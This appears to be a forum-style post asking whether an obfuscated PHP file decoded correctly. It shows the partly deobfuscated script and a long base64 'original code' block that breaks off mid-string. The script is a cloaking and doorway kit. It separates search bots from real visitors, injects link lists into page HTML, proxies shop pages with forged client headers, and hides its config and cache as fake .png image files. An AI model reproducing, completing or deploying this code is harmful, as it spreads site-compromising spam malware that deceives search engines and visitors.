___C_26{private$v417;private$v418;private$v12;function __construct($v322,$v419){$this->v417=$v322;$this->v418=$v419;$this->v12=___C_6::t3('cplinks');}function t194($v402,$v403){$v54=$this->v418->t122();$v420=false;if(isset($v54['meta'])){$v420=($v54['meta']['utf8']=='1');$v349=$v54['data'];}else{$v349=$v54;}$v421=count($v349);$this->v12->t4("total links count '{0}'",$v421);$this->t215();$v219=array();$v422=array();$v190=rand($v402,$v403);for($v5=00;$v5<$v190;$v5++){$v423=rand(00,$v421-01);$v424=$v349[$v423];if($v420)$v424[00]=base64_decode($v424[00]);if(rand(00,02)==01)$v424[00]=$v424[01];$v219[]=$v424;$v422[]=$v423;}$this->v12->t119("selected indicies '{0}'",join(', ',$v422));___C_41::t78();return$v219;}function t215(){$v93=$this->v417->t16();$v95=str_replace(array('http://','https://','www.','/index.php','/'),'',strtolower($v93));$v101=crc32(strtolower(md5($v95)).$v95);$v83=$v101<<02;srand($v83);}}class ___C_39{private$v425;function __construct($v69){$this->v425=$v69;}function t195($v336,$v349){if(!stristr($v336,'<body'))return false;$v426=$this->t216($v349);$v336=preg_replace('/<(body[^>]*)>/si',"<$1>
".$v426,$v336);return$v336;}function t196($v336,$v349){if(!stristr($v336,'</body'))return false;$v426=$this->t216($v349);$v336=preg_replace('%</(body[^>]*)>%si',$v426."
</$1>",$v336);return$v336;}function t197($v336,$v349,$v427=00){$v428=array();preg_match_all('%<a[^>]+href[^>]+>.+?</a>%si',$v336,$v428,01);if(count($v428[00])==00)return false;for($v5=$v427;$v5<count($v428[00]);$v5++){$v199=$v428[00][$v5];$v424=array_shift($v349);$v416=$this->t217($v424);$v336=str_replace($v199,$v416,$v336);if(count($v349)==00)break;}return$v336;}function t198($v336,$v349){$v428=array();preg_match_all('%<a[^>]+href[^>]+>.+?</a>%si',$v336,$v428,01);if(count($v428[00])==00)return false;for($v5=count($v428[00])-01;$v5>=00;$v5--){$v199=$v428[00][$v5];$v424=array_shift($v349);$v416=$this->t217($v424);$v336=str_replace($v199,$v416,$v336);if(count($v349)==00)break;}return$v336;}function t200($v336,$v349){$v426=$this->t216($v349);return$v336."
".$v426;}function t199($v336,$v349,$v429){if(strpos($v336,'</p>')===false)return false;$v426=$this->t216($v349);$v430=new ___C_46($v336);$v431=$v430->t218($v429);if(empty($v431))return false;$v432=preg_split('%(</?p>)%si',$v431,-01,02);$v432[00]=$v432[00]."
".$v426;$v431=join('',$v432);$v430->t219($v429,$v431);return$v430->t220();}private function t216($v349){$v433=array();foreach($v349 as$v424){$v434=$this->t217($v424);$v433[]=$v434;}$v426=str_replace('{data}',join($this->v425['separator'],$v433),$this->v425['container']);return$v426;}private function t217($v424){$v434=str_replace('{url}',$v424['url'],$this->v425['item']);$v434=str_replace('{anchor}',htmlspecialchars($v424['text']),$v434);return$v434;}}class ___C_46{private$v435;function __construct($v336){$this->v435=preg_split('%<p>%si',$v336);}function t218($v429){$v436=$this->t221($v429);if($v436==00)return'';return$this->v435[$v436];}function t219($v429,$v54){$v436=$this->t221($v429);$this->v435[$v436]=$v54;}function t221($v429){if($v429>00){return($v429<count($this->v435))?$v429:00;}return count($this->v435)+$v429;}function t220(){return join('<p>',$this->v435);}}class ___C_40{private$v321;private$v270;private$v12;private$v437;private$v438;function __construct($v201,$v272,$v70,$v72){$this->v321=$v201;$this->v270=$v272;$this->v437=$v70;$this->v438=$v72;$this->v12=___C_6::t3('userdetect');}function t201($v322){$v203=$this->v321->t145($v322);if($v203==false){$this->v12->t4('meta for page not found');return false;}$v439=$v203['key'];$v440=array('query'=>$v439,'user_type'=>'dummy');if($v203['isgen']==01){$this->v12->t152("url is phantom. USER DETECTED");return$v440;}else $this->v12->t119("url not phantom");if($this->v270->t142($this->v437)){$this->v12->t119("user from serp");if(isset($v203['gentime'])){$v441=gmdate('U');$v442=$v441-$v203['gentime'];if($v442>$this->v438){$this->v12->t152("its time to show. USER DETECTED");return$v440;}else{$this->v12->t152("too early. {0} hours left",round((($this->v438-$v442)/07020),02));}}else{$this->v12->t152("gentime not present, old dor. USER DETECTED");return$v440;}}else{$this->v12->t119("user not from serp");}return false;}}class ___C_30{private$v443;private$v444;private$v269;private$v12;private$v194;private$v445;function __construct($v68,$v128,$v21,$v446){$this->v444=$v68;$this->v194=$v21;$this->v445=$v446;$this->v269=$v128;$v274=$this->t171();$v128->t160($v274);$this->v12=___C_6::t3('shop-provider');}function t222($v447){$v447=trim($v447);if(empty($v447))return;$v195=str_replace('www.','',strtolower($this->v194->t60()));$v447=str_replace('{host}',$v195,$v447);$this->v443=$v447;$this->v12->t4("custom param setup '{0}'",$v447);}function t205($v93,$v363,$v17){if(isset($v17['shop.urlparam'])){$this->t222($v17['shop.urlparam']);}$this->v12->t4('load shop: {0}',$v93);if($v363){$v448=$v93.'#'.$this->v443;if(isset($v17['shop.cache.extkey']))$v448.='#'.$v17['shop.cache.extkey'];$this->v12->t119('try load shop from cache. key: '.$v448);$v343=$this->v444->t155($v448);if($v343!==false){$this->v12->t4('shop loaded from cache');return$v343;}$this->v12->t4('shop not found in cache. load url: {0}',$v93);$v343=$this->t223($v93);$this->v444->t116($v448,$v343);}else{$this->v12->t4('load url: {0}',$v93);$v343=$this->t223($v93);}return$v343;}function t117(){$this->v444->t117();}function t223($v93){$v278=$this->v445->t141($v93);$v343=$this->v269->t120($v278);if(strpos(strtolower($v343),'</html')===false)throw new ___C_2("shop html tag not found");if(!empty($this->v443)){$v343=preg_replace_callback('/<a([^>]+)href\s*=\s*["\']([^>"\']+)[\'"]([^>]*)?>/sim',array($this,'_setCustomParameter'),$v343);}$v73=parse_url($v93);if(preg_match('/<base[^>]+href\s*=\s*["\']([^"\']+)["\']/',$v343,$v192)){$v449=$v192[01];if(strpos($v449,'//')!==false){$v450=$v449;}else if($v449[00]=='/'){$v450="//".$v73['host'].$v449;}else{$v450=str_replace(array('http://','https://'),'//',$v449);}$v451="<base href='".$v450."'>";$v343=preg_replace('/<base[^>]+>/',$v451,$v343);}else{$v450="//".$v73['host'].'/';$v451="<base href='".$v450."'>";if(@preg_match('/<head.*?>/i',$v343))$v343=@preg_replace('/(<head.*?>)/i',"$1".$v451,$v343,01);else if(@preg_match('/<\/head>/i',$v343))$v343=str_replace('</head>',$v451."
".'</head>',$v343);else $v343=$v451.$v343;}return$v343;}function _setCustomParameter($v397){$v93=$v397[02];$v452='';if(strpos($v93,'#')!==false){list($v93,$v452)=explode('#',$v93);}if(strpos($v93,'?')!==false){$v93.='&'.$this->v443;}else{$v93.='?'.$this->v443;}if(!empty($v452))$v93.='#'.$v452;$v453="<a".$v397[01]."href=\"".$v93."\"".$v397[03].">";return$v453;}function t171(){$v245=array('Referer'=>$this->v194->t48(),'X-Real-ClientIp'=>$this->v194->t17(),'Cookie'=>'X-Real-ClientIp='.$this->v194->t17());$v274=array('HTTP_USER_AGENT'=>'User-Agent','HTTP_X_FORWARDED_FOR'=>'X-Forwarded-For','HTTP_VIA'=>'Via','HTTP_CLIENT_IP'=>'Client-IP','HTTP_ACCEPT_LANGUAGE'=>'Accept-Language');foreach($v274 as$v279=>$v280){if(isset($_SERVER[$v279]))$v245[$v280]=$_SERVER[$v279];}return$v245;}}class ___C_29{private$v454;private$v455;private$v456;private$v457;private$v458=03;private$v459;private$v12;function __construct($v60,$v460=0110,$v38=true){$v60=rtrim($v60,"\/").DIRECTORY_SEPARATOR;$this->v456=$v60;$this->v457=$v460;$this->v459=$v38;if(!is_dir($this->v456)||!is_writable($this->v456))throw new ___C_1("Cache dir '{0}' is invalid or is not writeable ",$this->v456);$this->v12=___C_6::t3('shop-cache');}function t117(){$v461='/^pic-button-img-\d+\.png$/i';$v56=opendir($this->v456);while(($v57=readdir($v56))!==false){$v94=$this->v456.DIRECTORY_SEPARATOR.$v57;if(preg_match($v461,$v57)){if(!unlink($v94))throw new ___C_1('cannot delete cache file {0}',$v94);}}closedir($v56);}function t155($v93){if(!$this->v459){$this->v12->t4('cache disabled');return false;}$v94=$this->t224($v93);$this->v12->t119('try load from {0}',$v94);$v241=new ___C_13($v94);if(!$v241->t127()){$this->v12->t119('cache not exists by path {0}',$v94);return false;}$v54=$v241->t122();if((time()-$v54['time'])<$this->v457*07020)return$v54['data'];else $this->v12->t4('cache is expired');return false;}function t116($v93,$v54){if(!$this->v459){$this->v12->t4('cache disabled');return false;}$v94=$this->t224($v93);$v241=new ___C_13($v94);$v328=array('time'=>time(),'data'=>$v54);try{$v241->t128($v328);}catch(___C_1$v23){$this->v12->t4('error write cache',$v94);}}function t224($v93){$v95=str_replace(array('http://','https://','www.','index.php','/'),'',strtolower($v93));$v101=substr(md5($v95),033,05);$v462=hexdec($v101);return$this->v456."pic-button-img-".$v462.".png";}}class ___C_37{private$v179;function __construct($v37){$this->v179=$v37;}function t19(){$v463=$this->v179->t43('sitemap.filename','');if(empty($v463))return false;$v464=strtolower($_SERVER['REQUEST_URI']);return$this->t225($v464,$v463);}function t225($v465,$v466){return$v466===""||(($v467=strlen($v465)-strlen($v466))>=00&&strpos($v465,$v466,$v467)!==false);}}class ___C_38{private$v179;private$v418;private$v468='PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4gICAgICAgIAo8dXJsc2V0IHhtbG5zPSJodHRwOi8vd3d3LnNpdGVtYXBzLm9yZy9zY2hlbWFzL3NpdGVtYXAvMC45Ij4gICAgCntkYXRhfSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPC91cmxzZXQ+IA==';function __construct($v37,$v419){$this->v179=$v37;$this->v418=$v419;}function t28(){$v469=$this->v179->t43('sitemap.changefreq','');$v349=$this->v418->t122();$v349=$v349['data'];$v433=array();foreach($v349 as$v424){$v434=array();$v434[]="	<url>";$v434[]="		<loc>".$v424[01]."</loc>";if(!empty($v469)){$v434[]="		<changefreq>".$v469."</changefreq>";}$v434[]="	</url>";$v433[]=join("
",$v434);}$v54=join("
",$v433);$v470=base64_decode($this->v468);$v79=str_replace('{data}',$v54,$v470);return$v79;}}function t65($v471,$v472){if(!is_array($v471) or !is_array($v472)){return$v472;}foreach($v472 as$v473=>$v474){$v471[$v473]=t65(@$v471[$v473],$v474);}return$v471;}$v17=array('page.links.file'=>'img-logo0.png','config.file'=>'img-logo1.png','bot.file'=>'img-logo2.png','ssl.file'=>'img-logo3.png','error.file'=>'img-logo5.png','page.accounting.file'=>'img-logo4.png');$v475=new ___C_5($v17);$v475->t2();unset($v475);

Did this file decode correctly?

Original Code

$___d_ecvar=base64_decode("IGRlZmluZSgnX19fQ19MX0RFQlVHJyxmYWxzZSk7ZGVmaW5lKCdfX19WRVJTSU9OJywwNjIzKTtkZWZpbmUoJ19fX0NDJywwMSk7aWYoIWRlZmluZWQoJ19fX0RBVEEnKSl7ZGVmaW5lKCdfX19EQVRBJyxkaXJuYW1lKF9fRklMRV9fKS4nL2ltZycpO31kZWZpbmUoJ19fX0RBVEFESVInLHJ0cmltKF9fX0RBVEEsIlxcLyIpKTskdjA9ZXhwbG9kZSgnKCcsX19GSUxFX18pO2RlZmluZSgnX19fRklMRV9fJyxhcnJheV9zaGlmdCgkdjApKTtpZighZGVmaW5lZCgnX19fUEFUSCcpKXtkZWZpbmUoJ19fX1BBVEgnLF9fX0ZJTEVfXyk7fWRlZmluZSgnX19fREVCVUdfS0VZX19fJywncDdmOXNqQ1B0aicpO2RlZmluZSgnX19fQVVUSF9LRVlfX18nLCdlYTI4YmRmNTNjM2UxMWQ1Jyk7ZGVmaW5lKCdfX19DUkNfTEVOR1RIX19fJywwMTIpO2NsYXNzIF9fX0NfMCBleHRlbmRzIEV4Y2VwdGlvbntwcml2YXRlJHYxO3ByaXZhdGUkdjI7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYzKXskdjQ9ZnVuY19nZXRfYXJncygpO2FycmF5X3NoaWZ0KCR2NCk7JHRoaXMtPnYyPSR2NDtmb3IoJHY1PTAwOyR2NTxjb3VudCgkdGhpcy0+djIpOyR2NSsrKSR2Mz1zdHJfcmVwbGFjZSgneycuJHY1Lid9JywkdGhpcy0+dDAoJHY0WyR2NV0pLCR2Myk7cGFyZW50OjpfX2NvbnN0cnVjdCgkdjMsMDApO31mdW5jdGlvbiB0MCgkdjYpe2lmKGlzX2FycmF5KCR2NikpcmV0dXJuIHZhcl9leHBvcnQoJHY2LHRydWUpO3JldHVybiR2Njt9fWNsYXNzIF9fX0NfMSBleHRlbmRzIF9fX0NfMHt9Y2xhc3MgX19fQ18yIGV4dGVuZHMgX19fQ18we31jbGFzcyBfX19DXzMgZXh0ZW5kcyBfX19DXzB7fWNsYXNzIF9fX0NfNCBleHRlbmRzIF9fX0NfMHtwdWJsaWMkdjc7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYzLCR2Nywkdjg9bnVsbCl7JHRoaXMtPnY3PSR2NztwYXJlbnQ6Ol9fY29uc3RydWN0KCR2MywwMCwkdjgpO319Y2xhc3MgX19fQ181e3ByaXZhdGUgc3RhdGljJHY5PWZhbHNlO3ByaXZhdGUkdjEwO3ByaXZhdGUkdjExO3ByaXZhdGUkdjEyO3ByaXZhdGUkdjEzO3ByaXZhdGUgc3RhdGljJHYxND1mYWxzZTtwcml2YXRlIHN0YXRpYyR2MTU7cHJpdmF0ZSR2MTY9ZmFsc2U7ZnVuY3Rpb24gX19jb25zdHJ1Y3QoJHYxNyl7JHRoaXMtPnYxMD0kdjE3O31zdGF0aWMgZnVuY3Rpb24gdDEoKXtzZWxmOjokdjk9dHJ1ZTt9ZnVuY3Rpb24gdDIoKXskdGhpcy0+djEyPV9fX0NfNjo6dDMoJ2FwcCcpOyR2MTg9JHRoaXMtPnYxMjt0cnl7JHYxOC0+dDQoInN0YXJ0OiB2Ii5fX19WRVJTSU9OKTskdjE4LT50NCgiaWQ6IDRwNDlDYVV0bUNKUks5ZmxYMlpOIik7JHYxOC0+dDQoInRpbWU6ICIudGltZSgpKTskdGhpcy0+djExPW5ldyBfX19DXzcoX19fREFUQURJUiwkdGhpcy0+djEwKTskdjE5PSR0aGlzLT52MTEtPnQ1KCk7JHRoaXMtPnYxMz0kdjE5LT50NigpO3NlbGY6OiR2MTQ9JHYxOS0+dDcoKTtzZXRfZXJyb3JfaGFuZGxlcihhcnJheSgkdGhpcywnX2Vycm9ySGFuZGxlcicpKTtzZWxmOjokdjE1PWZhbHNlO2lmKCFfX19DXzg6OnQ4KCkpeyR0aGlzLT52MTItPnQ5KCJpbnZhbGlkIHJlcXVlc3QuIGV4aXQiKTtyZXR1cm47fSR2MjA9JHRoaXMtPnYxMS0+dDEwKCk7aWYoJHYyMC0+dDExKCkpeyR2MTgtPnQ0KCJhcGkgcmVxdWVzdCIpOyR0aGlzLT50MTIoJHYyMCk7fWVsc2V7aWYoJHRoaXMtPnQxMygpKXskdGhpcy0+djEyLT50NCgiZmFrZSBib3QgZGV0ZWN0ZWQgKHdlYm1hc3RlcikuIGV4aXQiKTtyZXR1cm47fSR2MjE9JHRoaXMtPnYxMS0+dDE0KCk7JHYxOC0+dDQoInJlc29sdmVkLXVybDogIi4kdjIxLT50MTUoKS0+dDE2KCkpOyR2MTgtPnQ0KCJyZW1vdGUtaXA6ICIuJHYyMS0+dDE3KCkpOyR2MjI9JHRoaXMtPnYxMS0+dDE4KCk7aWYoJHYyMi0+dDE5KCkpeyR0aGlzLT50MjAoKTt9ZWxzZXskdGhpcy0+dDIxKCk7JHYxOC0+dDQoImNsb2FjayByZXF1ZXN0Iik7JHRoaXMtPnQyMigpO319fWNhdGNoKEV4Y2VwdGlvbiR2MjMpe3RyeXskdjI0PSR0aGlzLT52MTEtPnQyMygpOyR2MjQtPnQyNCgkdjIzKTskdjE4LT50NCgiZXhpdCIpO19fX0NfNTo6dDI1KCk7aWYoJHRoaXMtPnYxMyl7JHRoaXMtPnQyNigkdjIzKTt9fWNhdGNoKEV4Y2VwdGlvbiR2MjUpe3RyeXtfX19DXzU6OnQyNSgpO31jYXRjaChFeGNlcHRpb24kdjI2KXt9aWYoZGVmaW5lZCgnX19EX0RFVicpKWRpZSgkdjI1LT5nZXRNZXNzYWdlKCkuJyAnLiR2MjMtPmdldFRyYWNlQXNTdHJpbmcoKSk7aWYoJHRoaXMtPnYxMyl7JHRoaXMtPnQyNigkdjIzKTt9fX19cHJpdmF0ZSBmdW5jdGlvbiB0MjAoKXskdjI3PSR0aGlzLT52MTEtPnQyNygpOyR2Mjg9JHYyNy0+dDI4KCk7ZWNobyR2Mjg7ZXhpdDt9cHJpdmF0ZSBmdW5jdGlvbiB0MjEoKXskdjI5PW5ldyBfX19DXzkoJHRoaXMtPnYxMSk7aWYoISR2MjktPnQyOSgpKXJldHVybjskdjMwPWZhbHNlOyR2MzE9JHRoaXMtPnYxMS0+dDMwKCktPnQzMSgnZXhpdC5zdHJhdGVneScpO2lmKCR2MzE9PScxJyl7JHYzMj0kdjI5LT50MzIoKTtpZigkdGhpcy0+djEzKSR0aGlzLT50MjYoKTskdjI5LT50MzMoJHYzMik7fWlmKCR2MzE9PScyJyl7JHYzMz0kdjI5LT50MzQoKTskdjI5LT50MzUoJHYzMyk7fWlmKCR2MzE9PSczJyl7JHYzMj0kdjI5LT50MzIoKTskdjMzPSR2MjktPnQzNigkdjMyKTskdjI5LT50MzUoJHYzMyk7fWV4aXQ7fXByaXZhdGUgZnVuY3Rpb24gdDEyKCR2MjApeyR2MjAtPnQzNygpOyR0aGlzLT50MzgoKTtleGl0O31wcml2YXRlIGZ1bmN0aW9uIHQyMigpeyR2MjE9JHRoaXMtPnYxMS0+dDE0KCk7JHYzND0kdGhpcy0+djExLT50MzkoKTskdjM0LT50NDAoJHYyMSk7JHYzNT0kdGhpcy0+djExLT50NDEoJHRoaXMtPnQ0MigpKTskdjM2PSR2MzUtPnQzNygkdjIxLT50MTUoKSwkdGhpcy0+djEzKTtpZighJHYzNiYmZGVmaW5lZCgnX19fT1dOSE9TVCcpKXskdGhpcy0+djEyLT50NCgib3duIGhvc3QuIHByb2NjZXNzIGFzIGJvdCIpOyR2MzU9JHRoaXMtPnYxMS0+dDQxKHRydWUpOyR2MzUtPnQzNygkdjIxLT50MTUoKSwkdGhpcy0+djEzKTt9JHRoaXMtPnQzOCgpOyR0aGlzLT52MTItPnQ0KCJleGl0Iik7X19fQ181Ojp0MjUoKTtpZigkdGhpcy0+djEzKSR0aGlzLT50MjYoKTtpZigkdjM2KXtpZihkZWZpbmVkKCdfX0RfREVWJykpcHJpbnQoJ0VYSVQnKTtleGl0O319ZnVuY3Rpb24gdDEzKCl7JHYzNz0kdGhpcy0+djExLT50MzAoKTskdjM4PSR2MzctPnQ0MygnZmFrZWJvdC5lbmFibGVkJyxmYWxzZSk7aWYoISR2MzgpcmV0dXJuIGZhbHNlOyR2Mzk9JHYzNy0+dDQzKCdmYWtlYm90LnVzZXJfYWdlbnRzJyxhcnJheSgpKTtpZihlbXB0eSgkdjM5KSlyZXR1cm4gZmFsc2U7JHY0MD1zdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSk7JHY0MD1wcmVnX3JlcGxhY2UoJy9cc3sxLH0vJywnICcsJHY0MCk7Zm9yZWFjaCgkdjM5IGFzJHY0MSl7JHY0MT10cmltKCR2NDEpOyR2NDE9c3RydG9sb3dlcigkdjQxKTskdjQxPXByZWdfcmVwbGFjZSgnL1xzezEsfS8nLCcgJywkdjQxKTtpZihzdHJwb3MoJHY0MCwkdjQxKSE9PWZhbHNlKXtyZXR1cm4gdHJ1ZTt9fXJldHVybiBmYWxzZTt9ZnVuY3Rpb24gdDQyKCl7JHY0Mj0kdGhpcy0+djExLT50NDQoKTskdjIxPSR0aGlzLT52MTEtPnQxNCgpOyR2NDM9JHY0Mi0+dDQ1KCR2MjEtPnQxNygpLCR2MjEtPnQ0NigpKTtpZighJHY0Myl7JHY0ND0kdGhpcy0+djExLT50NDcoKTskdjQzPSR2NDQtPnQ0NSgkdjIxLT50MTUoKSwkdjIxLT50NDgoKSk7fXJldHVybiR2NDM7fXN0YXRpYyBmdW5jdGlvbiB0NDkoKXtpZighc2VsZjo6JHYxNSl7c2VsZjo6JHYxNT10cnVlO3Jlc3RvcmVfZXJyb3JfaGFuZGxlcigpO319c3RhdGljIGZ1bmN0aW9uIHQyNSgpe2lmKHNlbGY6OiR2MTQpe2lmKGhlYWRlcnNfc2VudCgpKXJldHVybjtzZWxmOjokdjE0PWZhbHNlOyR2NDU9X19fQ182Ojp0NTAoKTskdjQ2PWJhc2U2NF9lbmNvZGUoZ3pkZWZsYXRlKGpzb25fZW5jb2RlKCR2NDVbJ2xvZyddKSwwMTEpKTtAaGVhZGVyKCJYLURlYnVnOiAiLiR2NDYsdHJ1ZSk7fXNlbGY6OnQ0OSgpO31mdW5jdGlvbiBfZXJyb3JIYW5kbGVyKCR2NDcsJHY0OCwkdjQ5LCR2NTApe2lmKGVycm9yX3JlcG9ydGluZygpPT0wMClyZXR1cm4gdHJ1ZTtpZighKGVycm9yX3JlcG9ydGluZygpJiR2NDcpKXtyZXR1cm4gdHJ1ZTt9JHYzPSIoRV9FUlJPUikgIi4kdjQ4OyR0aGlzLT52MTItPnQ5KCR2Myk7dGhyb3cgbmV3IF9fX0NfMCgkdjMpO3JldHVybiB0cnVlO31mdW5jdGlvbiB0MjYoJHY1MT1udWxsKXtpZigkdjUxIT1udWxsKXskdGhpcy0+djEyLT50OSgkdjUxLT5nZXRNZXNzYWdlKCkpO31pZihAJF9DT09LSUVbJ19fY19sb2dfZm9ybWF0J109PSdqc29uJyl7JHY1Mj1fX19DXzY6OnQ1MSgpOyR2NTM9anNvbl9lbmNvZGUoJHY1Mik7cHJpbnQoJyEjIyMnLiR2NTMuJyMjIyEnKTtleGl0O31wcmludChubDJicihqb2luKCJcbiIsX19fQ182Ojp0NTIoKSkpKTtleGl0O31wcml2YXRlIGZ1bmN0aW9uIHQ1MygkdjU0KXtyZXR1cm4gc3RyX3JvdDEzKGJhc2U2NF9lbmNvZGUoanNvbl9lbmNvZGUoJHY1NCkpKTt9cHJpdmF0ZSBmdW5jdGlvbiB0MzgoKXtpZigkdGhpcy0+djE2KXJldHVybjskdGhpcy0+djE2PXRydWU7aWYoc2VsZjo6JHY5KXskdjM3PSR0aGlzLT52MTEtPnQzMCgpOyR2NTU9JHYzNy0+dDMxKCdiYXNlLnRvdWNoX3RpbWUnKTskdjU2PW9wZW5kaXIoX19fREFUQURJUik7d2hpbGUoKCR2NTc9cmVhZGRpcigkdjU2KSkhPWZhbHNlKXtpZigkdjU3PT0nLid8fCR2NTc9PScuLicpY29udGludWU7aWYoIUB0b3VjaChfX19EQVRBRElSLicvJy4kdjU3LCR2NTUsJHY1NSkpJHRoaXMtPnYxMi0+dDkoJ1RvdWNoIGZhaWxlZCBvbiB7MH0nLCR2NTcpO31jbG9zZWRpcigkdjU2KTtpZighQHRvdWNoKF9fX0RBVEFESVIsJHY1NSwkdjU1KSkkdGhpcy0+djEyLT50OSgnVG91Y2ggZmFpbGVkIG9uIHswfScsX19fREFUQURJUik7fX1mdW5jdGlvbiB0NTQoKXt3aGlsZShvYl9nZXRfbGV2ZWwoKT4wMClvYl9lbmRfY2xlYW4oKTt9fWNsYXNzIF9fX0NfN3twcml2YXRlJHY1OD1hcnJheSgpO3ByaXZhdGUkdjEwO3ByaXZhdGUkdjU5O2Z1bmN0aW9uIF9fY29uc3RydWN0KCR2NjAsJHYxNyl7JHRoaXMtPnY1OT0kdjYwOyR0aGlzLT52MTA9JHYxNzt9ZnVuY3Rpb24gdDU1KCl7JHYzNz0kdGhpcy0+dDMwKCk7cmV0dXJuIG5ldyBfX19DXzEwKCR0aGlzLT50NTYoJ3RkcycpLCR0aGlzLT50MTQoKSxuZXcgX19fQ18xMSgpLCR2MzctPnQzMSgndGRzLnBhcmFtcy4qJykpO31mdW5jdGlvbiB0MzAoJHY2MT1mYWxzZSl7aWYoIWlzc2V0KCR0aGlzLT52NThbJ2NmJ10pKSR0aGlzLT52NThbJ2NmJ109bmV3IF9fX0NfMTIobmV3IF9fX0NfMTMoX19fREFUQURJUi4nLycuJHRoaXMtPnYxMFsnY29uZmlnLmZpbGUnXSksJHRoaXMtPnYxMCwkdjYxKTtyZXR1cm4kdGhpcy0+djU4WydjZiddO31mdW5jdGlvbiB0MTAoKXtpZighaXNzZXQoJHRoaXMtPnY1OFsnYSddKSl7JHY2Mj0kdGhpcy0+dDU3KCk7JHRoaXMtPnY1OFsnYSddPW5ldyBfX19DXzE0KG5ldyBfX19DXzE1KCR0aGlzLCR2NjIpLCR2NjIpO31yZXR1cm4kdGhpcy0+djU4WydhJ107fWZ1bmN0aW9uIHQxNCgpe2lmKCFpc3NldCgkdGhpcy0+djU4WydyJ10pKSR0aGlzLT52NThbJ3InXT1uZXcgX19fQ184KCR0aGlzLT50MzAoKS0+dDMxKCdiYXNlLnJlbW90ZV9pcF9rZXknKSwkdGhpcy0+dDMwKCktPnQzMSgnYmFzZS5yZXF1ZXN0X3VyaV9rZXknKSk7cmV0dXJuJHRoaXMtPnY1OFsnciddO31mdW5jdGlvbiB0NDQoKXtyZXR1cm4gbmV3IF9fX0NfMTYoJHRoaXMtPnQ1OCgpLCR0aGlzLT50MzAoKS0+dDMxKCdib3QudWFfZGV0ZWN0JykpO31mdW5jdGlvbiB0NDcoKXtyZXR1cm4gbmV3IF9fX0NfMTcoJHRoaXMtPnQ1OSgpLG5ldyBfX19DXzExKCkpO31mdW5jdGlvbiB0NTgoKXtyZXR1cm4gbmV3IF9fX0NfMTgoX19fREFUQURJUi4nLycuJHRoaXMtPnQzMCgpLT50MzEoJ2JvdC5maWxlJyksJHRoaXMtPnQxNCgpLT50NjAoKSk7fWZ1bmN0aW9uIHQ0MSgkdjQzKXtpZigkdjQzKSR2MzU9bmV3IF9fX0NfMTkoJHRoaXMpO2Vsc2V7JHYzNT1uZXcgX19fQ18yMCgkdGhpcyxuZXcgX19fQ18yMSgkdGhpcy0+dDMwKCktPnQzMSgnd2JtLionKSkpO31yZXR1cm4kdjM1O31mdW5jdGlvbiB0NjEoKXskdjYzPSR0aGlzLT50MzAoKS0+dDMxKCdyZXNwb25zZS5jbGVhbl9idWZmZXInLGZhbHNlKTtpZigkdjYzPT1udWxsKXskdjYzPWZhbHNlO31lbHNleyR2NjM9KGJvb2wpJHY2Mzt9cmV0dXJuIG5ldyBfX19DXzIyKCR0aGlzLT50MTQoKSwkdGhpcywkdjYzKTt9ZnVuY3Rpb24gdDU3KCl7dHJ5eyR2NjM9JHRoaXMtPnQzMCgpLT50MzEoJ3Jlc3BvbnNlLmNsZWFuX2J1ZmZlcicsZmFsc2UpO31jYXRjaChfX19DXzAkdjIzKXskdjYzPWZhbHNlO31pZigkdjYzPT1udWxsKXskdjYzPWZhbHNlO31lbHNleyR2NjM9KGJvb2wpJHY2Mzt9cmV0dXJuIG5ldyBfX19DXzIzKCR2NjMpO31mdW5jdGlvbiB0NTkoKXtpZighaXNzZXQoJHRoaXMtPnY1OFsnY3BwJ10pKXskdGhpcy0+djU4WydjcHAnXT1uZXcgX19fQ18yNChfX19EQVRBRElSLG5ldyBfX19DXzI1KG5ldyBfX19DXzEzKF9fX0RBVEFESVIuJy8nLiR0aGlzLT50MzAoKS0+dDMxKCdwYWdlLmFjY291bnRpbmcuZmlsZScpKSkpO31yZXR1cm4kdGhpcy0+djU4WydjcHAnXTt9ZnVuY3Rpb24gdDYyKCl7cmV0dXJuIG5ldyBfX19DXzI2KCR0aGlzLT50MTQoKS0+dDE1KCksbmV3IF9fX0NfMTMoX19fREFUQURJUi4nLycuJHRoaXMtPnQzMCgpLT50MzEoJ3BhZ2UubGlua3MuZmlsZScpKSk7fWZ1bmN0aW9uIHQ2Mygpe2lmKCFpc3NldCgkdGhpcy0+djU4Wyd1J10pKXskdGhpcy0+djU4Wyd1J109JHRoaXMtPnQ2NCgpO31yZXR1cm4kdGhpcy0+djU4Wyd1J107fWZ1bmN0aW9uIHQ1NigkdjY0KXskdjY1PWFycmF5KCdoZWFkZXJzJz0+YXJyYXkoJ1VzZXItQWdlbnQnPT4nTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBXT1c2NDsgcnY6MzUuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8zNS4wJywnQWNjZXB0Jz0+J3RleHQvaHRtbCxhcHBsaWNhdGlvbi94aHRtbCt4bWwsYXBwbGljYXRpb24veG1sO3E9MC45LCovKjtxPTAuOCcsJ0FjY2VwdC1MYW5ndWFnZSc9Pidlbi1VUztxPTAuNSxlbjtxPTAuMycpLCdvcHRpb25zJz0+YXJyYXkoJ3RpbWVvdXQnPT4wMzYpKTskdjY2PSR0aGlzLT50MzAoKS0+dDMxKCR2NjQuJy53ZWJjbGllbnQuKicsZmFsc2UpO2lmKCR2NjYhPW51bGwpeyR2NjU9dDY1KCR2NjUsJHY2Nik7fSR2Njc9JHRoaXMtPnQzMCgpLT50MzEoJ2Rucy4qJyxmYWxzZSk7aWYoJHY2NyE9bnVsbCl7JHY2NVsnb3B0aW9ucyddPXQ2NSgkdjY1WydvcHRpb25zJ10sJHY2Nyk7fXJldHVybiBuZXcgX19fQ18yNygkdjY1KTt9ZnVuY3Rpb24gdDY2KCl7aWYoIWlzc2V0KCR0aGlzLT52NThbJ3J0J10pKXskdjM3PSR0aGlzLT50MzAoKTskdGhpcy0+djU4WydydCddPW5ldyBfX19DXzI4KCR2MzctPnQzMSgncm91dGVzLionKSxuZXcgX19fQ18xMCgkdGhpcy0+dDU2KCd0ZHMnKSwkdGhpcy0+dDE0KCksbmV3IF9fX0NfMTEoKSwkdjM3LT50MzEoJ3Rkcy5wYXJhbXMuKicpKSwkdGhpcy0+